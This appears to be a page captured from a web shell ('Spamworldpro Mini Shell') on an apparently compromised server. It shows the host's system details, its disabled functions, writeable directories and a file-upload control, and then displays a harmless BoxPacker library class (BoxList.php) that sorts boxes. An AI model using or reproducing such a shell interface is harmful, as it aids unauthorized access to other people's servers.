Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/dvdoug/boxpacker/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/dvdoug/boxpacker/src/BoxList.php
<?php
/**
 * Box packing (3D bin packing, knapsack problem).
 *
 * @author Doug Wright
 */
declare(strict_types=1);

namespace DVDoug\BoxPacker;

use ArrayIterator;
use IteratorAggregate;
use Traversable;

use function usort;

/**
 * List of boxes available to put items into, ordered by volume.
 */
class BoxList implements IteratorAggregate
{
    /**
     * @var Box[]
     */
    private array $list = [];

    private bool $isSorted = false;

    private BoxSorter $sorter;

    public function __construct(BoxSorter $sorter = null)
    {
        $this->sorter = $sorter ?: new DefaultBoxSorter();
    }

    /**
     * Do a bulk create.
     *
     * @param Box[] $boxes
     */
    public static function fromArray(array $boxes, bool $preSorted = false): self
    {
        $list = new self();
        $list->list = $boxes;
        $list->isSorted = $preSorted;

        return $list;
    }

    /**
     * @return Traversable<Box>
     */
    public function getIterator(): Traversable
    {
        if (!$this->isSorted) {
            usort($this->list, [$this->sorter, 'compare']);
            $this->isSorted = true;
        }

        return new ArrayIterator($this->list);
    }

    public function insert(Box $item): void
    {
        $this->list[] = $item;
    }
}

Spamworldpro Mini